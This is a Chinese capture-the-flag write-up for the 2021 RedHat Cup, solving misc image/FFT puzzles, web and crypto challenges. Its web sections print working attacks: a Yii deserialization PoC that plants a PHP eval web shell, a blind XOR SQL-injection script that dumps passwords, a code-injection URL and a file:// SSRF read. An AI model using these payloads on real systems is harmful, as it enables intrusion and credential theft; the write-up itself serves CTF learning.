红帽杯2021 Write UP

签到:

根据附件文件名EBCDIC,可知是编码,转换即可

colorful code

根据题意,颜色编码,老Piet了,

Piet_百度百科 (baidu.com)

根据这个原理再看给的两个文件就知道了

图片[1]-红帽杯2021 Write UP-魔法少女雪殇
图片[2]-红帽杯2021 Write UP-魔法少女雪殇

data1的数据对应data2的色块,data2必然是rgb颜色,由于

图片[3]-红帽杯2021 Write UP-魔法少女雪殇

总共二十种颜色,进提取前20*3=60个字节即可,提取为:

图片[4]-红帽杯2021 Write UP-魔法少女雪殇
(0x00,0x00,0x00),(0x00,0x00,0xc0),(0x00,0xff,0xff),(0x00,0xff,0x00),(0xff,0xc0,0xff),(0xff,0xc0,0xc0),(0xc0,0xc0,0xff),(0xc0,0xc0,0x00),(0xff,0x00,0xff),(0xff,0x00,0x00),(0xc0,0x00,0x00),(0xc0,0x00,0xc0),(0xff,0xff,0xff),(0xff,0xff,0x00),(0xff,0xff,0xc0),(0x00,0xc0,0x00),(0x00,0xc0,0xc0),(0xc0,0xff,0xff),(0xc0,0xff,0xc0),(0x00,0x00,0xff),

这里对应关系举个例子,比如data1的第一位 5,对应data2头部第5个像素块,从0开始数 是ff c0 c0,以此类推进行写脚本即可

from PIL import Image​color = [(0x00,0x00,0x00),(0x00,0x00,0xc0),(0x00,0xff,0xff),(0x00,0xff,0x00),(0xff,0xc0,0xff),(0xff,0xc0,0xc0),(0xc0,0xc0,0xff),(0xc0,0xc0,0x00),(0xff,0x00,0xff),(0xff,0x00,0x00),(0xc0,0x00,0x00),(0xc0,0x00,0xc0),(0xff,0xff,0xff),(0xff,0xff,0x00),(0xff,0xff,0xc0),(0x00,0xc0,0x00),(0x00,0xc0,0xc0),(0xc0,0xff,0xff),(0xc0,0xff,0xc0),(0x00,0x00,0xff)]print(len(color))with open('data1') as f:    data = f.read().split(" ")[:-1]​img = Image.new("RGB",(37,191))​for i in range(37):    for j in range(191):        img.putpixel((i,j),color[int(data[i*191+j])])​img.show()img.save('flag.png')

获得图片:

图片[5]-红帽杯2021 Write UP-魔法少女雪殇

最后在线扫描就完事了

图片[6]-红帽杯2021 Write UP-魔法少女雪殇

PicPic

fftfftfftfft,套了三次的fft

给了两个视频以及一个r,还有源码,简单看看

import os
import cv2
import struct
import numpy as np


def mapping(data, down=0, up=255, tp=np.uint8):
    data_max = data.max()
    data_min = data.min()
    interval = data_max - data_min
    new_interval = up - down
    new_data = (data - data_min) * new_interval / interval + down
    new_data = new_data.astype(tp)
    return new_data


def fft(img):
    fft = np.fft.fft2(img)      
    fft = np.fft.fftshift(fft)  
    m = np.log(np.abs(fft))     
    p = np.angle(fft)           
    return m, p


if __name__ == '__main__':
    os.mkdir('m')
    os.mkdir('p')
    os.mkdir('frame')
    os.system('ffmpeg -i secret.mp4 frame/%03d.png')    #视频拆分多张照片

    files = os.listdir('frame')
    r_file = open('r', 'wb')

    for file in files:
        img = cv2.imread(f'frame/{file}', cv2.IMREAD_GRAYSCALE)     #读取所有帧

        m, p = fft(img)                                                    
        r_file.write(struct.pack('!ff', m.min(), m.max()))  

        new_img1 = mapping(m)               #绘制
        new_img2 = mapping(p)                  #绘制

        cv2.imwrite(f'm/{file}', new_img1)
        cv2.imwrite(f'p/{file}', new_img2)

    r_file.close()
    os.system('ffmpeg -i m/%03d.png -r 25 -vcodec png 1.mkv')
    os.system('ffmpeg -i p/%03d.png -r 25 -vcodec png 2.mkv')

把原视频做了提取帧,然后把数据接入r,把帧进行fft变换,最后合成视频,一个是频域一个是相位

视频有了,那就先反向操作提个视频帧,在测试中,mkv直接提取的帧无法被ifft提取出内容,推测有所失真,所以弄了个骚操作,先把mkv转码成mp4….

ffmpeg -i 1.mkv -codec copy “1.mp4”

ffmpeg -i 2.mkv -codec copy “2.mp4”

然后再全部提出来,

ffmpeg -i 1.mp4 test1/%03d.png

ffmpeg -i 2.mp4 test2/%03d.png

写脚本进行fft变换,由于fft进行多次变换的时候信号方向只会发生旋转,所以理论上原帧直接进行fft也不是不行,所以把题目给的脚本拿过来再fft一次就可

import os
import cv2
import struct
import numpy as np


def mapping(data, down=0, up=255, tp=np.uint8):
    data_max = data.max()
    data_min = data.min()
    interval = data_max - data_min
    new_interval = up - down
    new_data = (data - data_min) * new_interval / interval + down
    new_data = new_data.astype(tp)
    return new_data


def fft(img):
    fft = np.fft.fft2(img)
    fft = np.fft.fftshift(fft)
    m = np.log(np.abs(fft))
    p = np.angle(fft)
    return m, p


if __name__ == '__main__':
    os.mkdir('m')
    os.mkdir('p')
    # os.mkdir('frame')
    # os.system('ffmpeg -i secret.mp4 frame/%03d.png')
    # 
    files = os.listdir('test')
    r_file = open('r', 'wb')

    for file in files:
        img = cv2.imread(f'test1/{file}', cv2.IMREAD_GRAYSCALE)

        m, p = fft(img)
        r_file.write(struct.pack('!ff', m.min(), m.max()))

        new_img1 = mapping(m)
        new_img2 = mapping(p)

        cv2.imwrite(f'm/{file}', new_img1)
        cv2.imwrite(f'p/{file}', new_img2)

    r_file.close()
    # os.system('ffmpeg -i m/%03d.png -r 25 -vcodec png 1.mkv')
    # os.system('ffmpeg -i p/%03d.png -r 25 -vcodec png 2.mkv')

导出内容会存放至m,p,在m的最后199或者200png即可发现文字

图片[7]-红帽杯2021 Write UP-魔法少女雪殇

获得压缩包密码zs6hmdlq5ohav5l1

进入第二步,

图片[8]-红帽杯2021 Write UP-魔法少女雪殇

可以看见一个hint以及一个具有噪声的二维码和一个噪声。

查看hint,内容为html的math标签,在线执行即可

图片[9]-红帽杯2021 Write UP-魔法少女雪殇

这里刚开始还不明白啥意思,后来懂了,这是相位进行了互换,幅值是不变的,所以套用公式再变换一下相位即可,同理,照着原脚本改就完事了

撰写脚本:

import os
import cv2
import struct
import numpy as np
from PIL import Image


def mapping(data, down=0, up=255, tp=np.uint8):
    data_max = data.max()
    data_min = data.min()
    interval = data_max - data_min
    new_interval = up - down
    new_data = (data - data_min) * new_interval / interval + down
    new_data = new_data.astype(tp)
    return new_data


def fft(img):
    fft = np.fft.fft2(img)      
    fft = np.fft.fftshift(fft)  
    m = np.log(np.abs(fft))   
    p = np.angle(fft)           
    return m, p

if __name__ == '__main__':
    img = np.array(Image.open(r'mix1.png').convert('L'))
    img2 = np.array(Image.open(r'mix2.png').convert('L'))
    m1, p1 = fft(img)        
    m2, p2 = fft(img2)                                            

    fft = m1*np.cos(p2) +m1*np.sin(p2)*1j			#相位转换
    fft2 = m2*np.cos(p1) +m1*np.sin(p1)*1j			#相位转换
    new_img1 = mapping(np.abs(np.fft.ifft2(fft)))               #绘制
    new_img2 = mapping(np.abs(np.fft.ifft2(fft2)))                  #绘制
    #print(m)
    #print(p)
    cv2.imwrite(f'1.png', new_img1)
    cv2.imwrite(f'2.png', new_img2)
图片[10]-红帽杯2021 Write UP-魔法少女雪殇

扫描二维码,获得内容

0f88b8529ab6c0dd2b5ceefaa1c5151aa207da114831b371ddcafc74cf8701c1d3318468d50e4b1725179d1bc04b251f

意义不明,但是先进入最后的看看

根据前两个,直接跑,跑出来

图片[11]-红帽杯2021 Write UP-魔法少女雪殇

笑死,根本看不清,调整mapping一参数以及算法,最终构筑exp

import os
import cv2
import struct
import numpy as np
from PIL import Image
import math


def mapping(data, down=0, up=255, tp=np.uint8):
    data_max = data.max()
    data_min = data.min()
    interval = data_max - data_min
    new_interval = up - down
    new_data = (data - data_min) * new_interval / interval + down
    new_data = new_data.astype(tp)
    return new_data


def fft(img):
    fft = np.fft.fft2(img)
    m = np.fft.fftshfit(fft)
    m = np.log(np.abs(fft))   
    return m


if __name__ == '__main__':
    img = np.array(Image.open(r'phase.png').convert('L'))
    m = mapping(img,-np.pi,np.pi,np.float64 )
    fft = np.exp(m*1j)
    p = np.fft.fftshift(fft)

    new_img1 = mapping(np.abs(np.fft.ifft2(p)))
    cv2.imwrite(f'1.png', new_img1)
    

    # os.system('ffmpeg -i m/%03d.png -r 25 -vcodec png 1.mkv')
    # os.system('ffmpeg -i p/%03d.png -r 25 -vcodec png 2.mkv')
图片[12]-红帽杯2021 Write UP-魔法少女雪殇

aes解密即可

图片[13]-红帽杯2021 Write UP-魔法少女雪殇

find_it

签到题,直接访问index.php?code=<?php%20phpinfo();%20?>

最后访问hack.php即可

framework

开局一个yii框架的一个东西,参考文章:https://mp.weixin.qq.com/s/qW2XgudMZV_5HuMlNcPE4Q

找到网站的入口点?r=site/about&message=[]

根据文章的内容写poc:

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'assert';
            $this->id = 'file_put_contents("/var/www/html/web/1.php","<?php eval(\$_POST[cmd]);");';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            $this->formatters['close'] = [new CreateAction(), 'run'];
        }
    }
}
namespace yii\db{
    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;

        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}
namespace{
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>
图片[14]-红帽杯2021 Write UP-魔法少女雪殇

生成poc,直接打到入口点

图片[15]-红帽杯2021 Write UP-魔法少女雪殇

报错了,这个时候访问1.php

图片[16]-红帽杯2021 Write UP-魔法少女雪殇

正常访问,进行菜刀连接

图片[17]-红帽杯2021 Write UP-魔法少女雪殇

成功进来,

图片[18]-红帽杯2021 Write UP-魔法少女雪殇

发现没有权限,直接用插件绕过disable_functions就行了

图片[19]-红帽杯2021 Write UP-魔法少女雪殇

执行readflag即可

图片[20]-红帽杯2021 Write UP-魔法少女雪殇

WebsiteManger

打开发现是个注入题

用sqlmap跑了一下发现注入点在:

/image.php?id=1

尝试了多重注入发现是异或注入

随即尝试爆库名

/image.php?id=1^(ascii(substr((select(database())),1,1))>1)^1

有正常的图片显示

直到值为99的时候没有回显

证明第一个字母为c ,如法炮制,得到库名为ctf

接下来用脚本爆剩余的信息

import requests
import time
#url1 = "url/image.php?id=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctf')),{0},1))>{1})^1" 
#url2 = "url/image.php?=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),{0},1))>{1})^1"
url3 = "url/image.php?id=1^(ascii(substr((select(group_concat(password))from(ctf.users)),{0},1))>{1})^1"#8d3d7d2983efec1d33953

strs=""
for i in range(1,1000):
    l = 32
    h = 128
    mid = (l + h)
    while (l < h):
        nurl=url3.format(i,mid)
        r=requests.get(url=nurl)
        if 'JFIF' in r.text:
            l = mid + 1
        else:
            h = mid
        mid = (l + h) // 2
        time.sleep(0.1)
    strs += chr(mid)
    print(strs)

得到管理员密码

图片[21]-红帽杯2021 Write UP-魔法少女雪殇

进入后台,抓包发现是ssrf本地文件读取漏洞

尝试构造payload:

file:// /flag

得到flag

图片[22]-红帽杯2021 Write UP-魔法少女雪殇

primegame

原题,地址:포카전/카포전 2020 해킹 문제 출제 (secmem.org)

没啥好说的,真就原题替换一下数值就出flag,,,挺无语的,out里面两个数据,逐次输入,丢入sage运行即可

用他的exp就完事了

exp:

import math
from decimal import *
import random
import struct

getcontext().prec = int(100)

primes = [2]
for i in range(3, 100):
    f = True
    for j in primes:
        if i * i < j:
            break
        if i % j == 0:
            f = False
            break
    if f:
        primes.append(i)

keys = []
for i in range(len(primes)):
    keys.append(Decimal(int(primes[i])).ln())

arr = []
for v in keys:
    arr.append(int(v * int(16) ** int(64)))

ct = 737384863737803670841307970259513146291422299366557325168325233349136771464845311
#ct = 425985475047781336789963300910446852783032712598571885345660550546372063410589918

def encrypt(res):
    h = Decimal(int(0))
    for i in range(len(keys)):
        h += res[i] * keys[i]

    ct = int(h * int(16)**int(64))
    return ct

def f(N):
    ln = len(arr)
    A = Matrix(ZZ, ln + 1, ln + 1)
    for i in range(ln):
        A[i, i] = 1
        A[i, ln] = arr[i] // N
        A[ln, i] = 64

    A[ln, ln] = ct // N

    res = A.LLL()

    for i in range(ln + 1):
        flag = True
        for j in range(ln):
            if -64 <= res[i][j] < 64:
                continue
            flag = False
            break
        if flag:
            vec = [int(v + 64) for v in res[i][:-1]]
            ret = encrypt(vec)
            if ret == ct:
                print(N, bytes(vec))
            else:
                print("NO", ret, bytes(vec))

for i in range(2, 10000):
    print(i)
    f(i)

第一部分:

图片[23]-红帽杯2021 Write UP-魔法少女雪殇

第二部分:

图片[24]-红帽杯2021 Write UP-魔法少女雪殇

hpcurve

原题,地址:pwnthem0le (polito.it)

唯一不同就是

图片[25]-红帽杯2021 Write UP-魔法少女雪殇

text的内容不同,以及

图片[26]-红帽杯2021 Write UP-魔法少女雪殇

此处算法进行了修改,用一下他的exp就完事了

import struct
p = 10000000000000001119

K = GF(p)
R.<x> = K[]; y=x
f = y + prod(map(eval, 'yyyyyyy'))
C = HyperellipticCurve(f, 0)
J = C.jacobian()

def get_u_from_out(output, known_input):
    res = []
    for i in range(24):
        res.append(output[i]^^known_input[i])
    res = bytes(res)
    u0, u1, u2 = struct.unpack("<QQQ", res)
    u = x^3+x^2*u2+x*u1+u0
    return u

from itertools import product

def get_v_from_u(u):
    Kbar = GF(p^6)
    Rbar.<t> = Kbar["t"]
    u2 = u.change_ring(Rbar)
    roots = [x[0] for x in u2.roots()]
    ys = []
    for root in roots:
        ys.append(f(root).sqrt(0,1))
    res = []
    for perm in product(range(2), repeat=3):
        poly = Rbar.lagrange_polynomial([(roots[i], ys[i][perm[i]]) for i in range(3)])
        if poly[0] in K:
            res.append(R(poly))
    return res

def try_decode(output, u, v):
    rs = [u[0], u[1], u[2], v[0], v[1], v[2]]
    otp = struct.pack("<QQQQQQ", *rs)
    plain = []
    for i in range(len(output)):
        plain.append(output[i]^^otp[i%len(otp)])
    return bytes(plain)


output = bytes.fromhex("66def695b20eeae3141ea80240e9bc7138c8fc5aef20532282944ebbbad76a6e17446e92de5512091fe81255eb34a0e22a86a090e25dbbe3141aff0542f5")

known_input = 20*b"a"+b"flag"
u = get_u_from_out(output, known_input)
vs = get_v_from_u(u)
for v in vs:
    print(try_decode(output,u,v))

sage运行获得flag

图片[27]-红帽杯2021 Write UP-魔法少女雪殇
© 版权声明
THE END
喜欢就支持一下吧
点赞12 分享
评论 共2条
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情
    • 头像tgguan1